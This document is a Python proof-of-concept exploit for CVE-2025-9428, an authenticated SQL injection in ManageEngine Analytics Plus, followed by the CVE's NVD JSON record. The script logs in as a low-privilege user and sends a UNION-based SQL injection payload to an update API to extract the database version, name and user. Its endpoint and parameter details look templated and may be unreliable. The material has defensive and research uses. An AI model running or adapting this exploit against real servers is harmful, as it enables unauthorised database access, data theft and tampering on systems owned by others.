CVE-2025-9428

# CVE-2025-9428 - ManageEngine Analytics Plus Authenticated SQL Injection PoC # Vulnerability: SQL Injection via key update API # Affected: ManageEngine Analytics Plus <= 6171 # CVSS: 8.3 (HIGH) import requests import sys TARGET_URL = "https://target-analytics-plus:8443" USERNAME = "low_priv_user" PASSWORD = "password123" def login(session, base_url, username, password): """Login to ManageEngine Analytics Plus with low-privilege credentials""" login_url = f"{base_url}/api/v1/login" payload = { "username": username, "password": password, "is_encrypted": False } resp = session.post(login_url, json=payload, verify=False) if resp.status_code == 200: # Extract authentication token from response token = resp.json().get("data", {}).get("auth_token") or resp.cookies.get("zoho_analytics_session") return token return None def exploit_sqli(session, base_url, token): """Exploit SQL injection in key update API""" headers = { "Authorization": f"Zoho-oauthtoken {token}", "Content-Type": "application/json" } # SQL injection payload targeting the key update API # Using UNION-based injection to extract database version sqli_payload = "1' UNION SELECT @@version,database(),user(),4,5-- -" update_url = f"{base_url}/api/v1/workspace/update" params = { "key": sqli_payload, "value": "test" } resp = session.post(update_url, headers=headers, json=params, verify=False) print(f"[+] Response Status: {resp.status_code}") print(f"[+] Response Body: {resp.text}") return resp def main(): session = requests.Session() print("[*] CVE-2025-9428 - ManageEngine Analytics Plus SQL Injection PoC") print(f"[*] Target: {TARGET_URL}") # Step 1: Authenticate with low-privilege credentials print("\n[*] Step 1: Authenticating with low-privilege credentials...") token = login(session, TARGET_URL, USERNAME, PASSWORD) if not token: print("[-] Authentication failed!") sys.exit(1) print(f"[+] Authentication successful. Token: {token[:20]}...") # Step 2: Exploit SQL injection print("\n[*] Step 2: Exploiting SQL injection in key update API...") resp = exploit_sqli(session, TARGET_URL, token) if "error" in resp.text.lower() or "syntax" in resp.text.lower(): print("[+] Target appears vulnerable to SQL injection!") else: print("[?] Check response for data extraction indicators") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-9428", "sourceIdentifier": "0fc0942c-577d-436f-ae8e-945763c79b02", "published": "2025-10-21T12:15:35.673", "lastModified": "2025-10-23T14:00:21.830", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Zohocorp ManageEngine Analytics Plus versions 6171 and prior are vulnerable to authenticated SQL Injection via the key update api."}], "metrics": {"cvssMetricV31": [{"source": "0fc0942c-577d-436f-ae8e-945763c79b02", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 5.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "0fc0942c-577d-436f-ae8e-945763c79b02", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_analytics_plus:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.1", "matchCriteriaId": "FCB8F6B2-6E06-4BE7-9AC9-A8D26F25C67B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_analytics_plus:6.1:6100:*:*:*:*:*:*", "matchCriteriaId": "A27EFFEA-DB7E-4E3E-905B-5D1BAAE3A03E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_analytics_plus:6.1:6110:*:*:*:*:*:*", "matchCriteriaId": "7AAAFC61-BDEB-4688-804E-C8165E693BA6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_analytics_plus:6.1:6120:*:*:*:*:*:*", "matchCriteriaId": "13DAD61B-82F4-42B5-A2E8-81EB62346EB1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_analytics_plus:6.1:6130:*:*:*:*:*:*", "matchCriteriaId": "0E074C04-4BC6-431B-99F0-ECB9E83532A7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_analytics_plus:6.1:6140:*:*:*:*:*:*", "matchCriteriaId": "1384D5F4-D3F0-48B4-AA2A-0B7E93A46C72"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_analytics_plus:6.1:6150:*:*:*:*:*:*", "matchCriteriaId": "3F1E5920-9108-40A8-8FE0-727BA82C092F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_analytics_plus:6.1:6160:*:*:*:*:*:*", "matchCriteriaId": "F237D724-FF1D-4D03-9968-6F64B45F421F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_analytics_plus:6.1:6170:*:*:*:*:*:*", "matchCriteriaId": "ECDAD23D-D2E8-4A10-BDA6-7088314849AD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_analytics_plus:6.1:6171:*:*:*:*:*:*", "matchCriteriaId": "4166ED3E-040B-4867-BD53-515638BFFF21"}]}]}], "references": [{"url": "https://www.manageengine.com/analytics-plus/CVE-2025-9428.html", "source": "0fc0942c-577d-436f-ae8e-945763c79b02", "tags": ["Vendor Advisory"]}]}}